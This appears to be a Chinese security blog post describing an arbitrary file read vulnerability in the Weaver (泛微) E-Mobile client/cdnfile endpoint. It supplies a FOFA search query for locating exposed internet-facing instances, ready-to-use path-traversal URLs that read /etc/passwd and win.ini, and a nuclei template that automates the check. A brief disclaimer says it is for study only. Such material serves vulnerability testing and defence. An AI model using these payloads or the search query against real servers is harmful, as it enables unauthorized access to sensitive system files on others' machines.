泛微E-Mobile client/cdnfile 任意文件读取漏洞

最新推荐文章于 2024-09-23 22:01:11 发布

抠脚大汉在网络

最新推荐文章于 2024-09-23 22:01:11 发布

阅读量308

点赞数 3

分类专栏：漏洞复现文章标签：漏洞

本文链接：https://blog.csdn.net/weixin_70137901/article/details/142377128

版权

漏洞复现专栏收录该内容

26 篇文章 0 订阅

订阅专栏

文章目录

免责申明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞，攻击者可以读取系统的敏感文件

搜索语法

fofa

app="泛微-EMobile"

漏洞复现

windows
payload

http://ip//client/cdnfile/1C/windows/win.ini?windows

在这里插入图片描述
linux
payload

http://ip/client/cdnfile/C/etc/passwd?linux

nuclei

id: fanweiE-Mobile-client-cdnfile-anyfile-read

info: 
 name: 泛微E-Mobile clientcdnfile 任意文件读取漏洞
 author: xl
 description: 泛微移动管理client/cdnfile接口任意文件读取漏洞
 severity: high

requests:
  - method: GET
    path:
      - "/client/cdnfile/C/etc/passwd?linux"
      - "/client/cdnfile/1C/windows/win.ini?windows"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "root"
          - "fonts"